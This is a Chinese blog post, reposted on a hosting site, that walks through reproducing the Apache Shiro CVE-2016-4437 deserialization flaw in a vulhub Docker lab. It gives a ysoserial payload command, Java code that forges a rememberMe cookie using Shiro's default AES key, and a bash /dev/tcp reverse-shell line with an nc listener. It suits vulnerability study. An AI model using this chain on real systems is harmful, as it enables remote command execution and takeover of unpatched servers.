高防服务器

如何实现反序列化命令执行CVE-2016-4437复现


如何实现反序列化命令执行CVE-2016-4437复现

发布时间:2021-12-29 18:02:37 来源:高防服务器网 阅读:88 作者:柒染 栏目:安全技术

这篇文章给大家介绍如何实现反序列化命令执行CVE-2016-4437复现,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

0x00 简介

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

0x01 启动环境

cd /vulhub/shiro/cve-2016-4437    docker-compose up -d    # 注意:启动端口8080,若冲突请修改

0x02 漏洞分析

1 搭建测试环境

使用IDEA创建maven项目并导入依赖

<?xml version="1.0" encoding="UTF-8"?>  <project xmlns="http://maven.apache.org/POM/4.0.0"  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">  <modelVersion>4.0.0</modelVersion>    <groupId>org.example</groupId>  <artifactId>Shiro</artifactId>  <version>1.0-SNAPSHOT</version>    <properties>  <maven.compiler.source>8</maven.compiler.source>  <maven.compiler.target>8</maven.compiler.target>  </properties>    <dependencies>  <dependency>  <groupId>junit</groupId>  <artifactId>junit</artifactId>  <version>4.12</version>  <scope>compile</scope>  </dependency>  <dependency>  <groupId>org.apache.shiro</groupId>  <artifactId>shiro-core</artifactId>  <version>1.2.4</version>  </dependency>  </dependencies>  </project>

shiro组件自然是必须的,junit纯属方便测试(复习一下)

项目结构:

注意:poc.ser的路径相对于项目根路径

2 漏洞分析

根据大佬的文章可知问题出在:org.apache.shiro.mgt.AbstractRememberMeManager

打开源码进行分析:

26行定义了默认key,32行构造函数用默认的key对加密密钥进行赋值

167行使用密钥进行AES解密,也就是默认的密钥

综上,由于AES默认密钥是固定的,如果开发者没有手动修改则可以操控反序列化的数据进而getshell

0x03 漏洞复现

1 生成字节码文件

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

将字节码文件拷贝到项目中

2 编写代码进行AES加密

import org.apache.shiro.codec.Base64;  import org.apache.shiro.codec.CodecSupport;  import org.apache.shiro.crypto.AesCipherService;  import org.apache.shiro.util.ByteSource;    import java.io.IOException;  import java.nio.file.FileSystems;  import java.nio.file.Files;    import org.junit.Test;  public class ShiroTest {  @Test  public void RCE() throws IOException  {  byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("", "", "poc.ser"));    AesCipherService aes = new AesCipherService();  byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));    ByteSource ciphertext = aes.encrypt(payloads, key);  System.out.printf(ciphertext.toString());  }  }

3 替换cookie

4 进入docker镜像查看效果

成功创建文件

5 反弹shell

1 制作命令

# 反弹shell的命令,注意:>& 之间不能有空格  bash -i >& /dev/tcp/ip/port 0>& 1

在线转换网址:http://www.jackson-t.ca/runtime-exec-payloads.html

2 使用ysoserial生成字节码并用上面的代码生成加密的cookie

3 在攻击终端中开启nc监听

# 监听连接  nc -lvp port

4 修改cookie并发送

5 查看监听情况

NICE,成功返回shell

关于如何实现反序列化命令执行CVE-2016-4437复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

[微信提示:高防服务器能助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。

[图文来源于网络,不代表本站立场,如有侵权,请联系高防服务器网删除]
[